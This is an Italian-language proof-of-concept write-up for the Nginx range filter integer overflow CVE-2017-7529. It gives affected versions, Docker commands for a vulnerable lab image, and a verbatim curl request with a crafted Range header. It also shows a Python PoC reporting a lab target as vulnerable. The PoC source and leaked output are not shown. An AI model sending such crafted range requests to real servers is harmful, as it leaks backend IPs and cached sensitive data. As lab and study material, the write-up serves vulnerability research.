
Exploit di prova di concetto per un overflow di interi in Nginx (CVE-2017-7529) che consente la divulgazione delle intestazioni della cache tramite richieste di range create ad hoc, con un ambiente di laboratorio basato su Docker e uno script Python POC.
Quando si utilizza il modulo standard di Nginx, un attaccante può ottenere le intestazioni dei file cache nella risposta inviando una richiesta header contenente un campo range maliziosamente costruito. In alcune configurazioni, l'intestazione del file cache potrebbe contenere l'indirizzo IP del server backend o altre informazioni sensibili, causando una fuga di informazioni.
Riferimento: Analisi dell'avviso di vulnerabilità di overflow intero del filtro range di Nginx (CVE–2017–7529)
Questa vulnerabilità colpisce tutte le versioni di Nginx dalla 0.5.6 alla 1.13.2 con moduli di configurazione predefiniti. Basta abilitare la cache affinché un attaccante possa inviare richieste dannose per effettuare un attacco remoto e causare una fuga di informazioni.
Quando il server Nginx utilizza la cache proxy, un attaccante sfruttando questa vulnerabilità può ottenere l'IP reale del server backend o altre informazioni sensibili.
Secondo la nostra analisi, questa vulnerabilità è di bassa difficoltà di sfruttamento e può essere classificata come 'low-hanging fruit', con un certo valore d'uso in attacchi reali in rete.
Nginx version 0.5.6 - 1.13.2
Nginx version 1.13.3, 1.12.1
$ docker pull medicean/vulapps:n_nginx_1
$ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
-p 8000:80la parte anteriore 8000 rappresenta la porta della macchina fisica, può essere specificata arbitrariamente.
$ curl -I http://127.0.0.1:8000/proxy/demo.png
HTTP/1.1 200 OK
Server: nginx/1.13.1
Date: Wed, 12 Jul 2017 15:57:57 GMT
Content-Type: image/png
Content-Length: 16585
Connection: keep-alive
Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
ETag: W/"40c9-5543e4fad0d40"
X-Proxy-Cache:: MISS
Accept-Ranges: bytes
Visto Content-Length: 16585, trovare un valore maggiore, ad esempio 17208, il secondo valore range è 0x8000000000000000-17208, ovvero 9223372036854758600
$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
Vedere il risultato:

$ python poc.py http://127.0.0.1:8000/proxy/demo.png
Vulnerable: http://127.0.0.1:8000/proxy/demo.png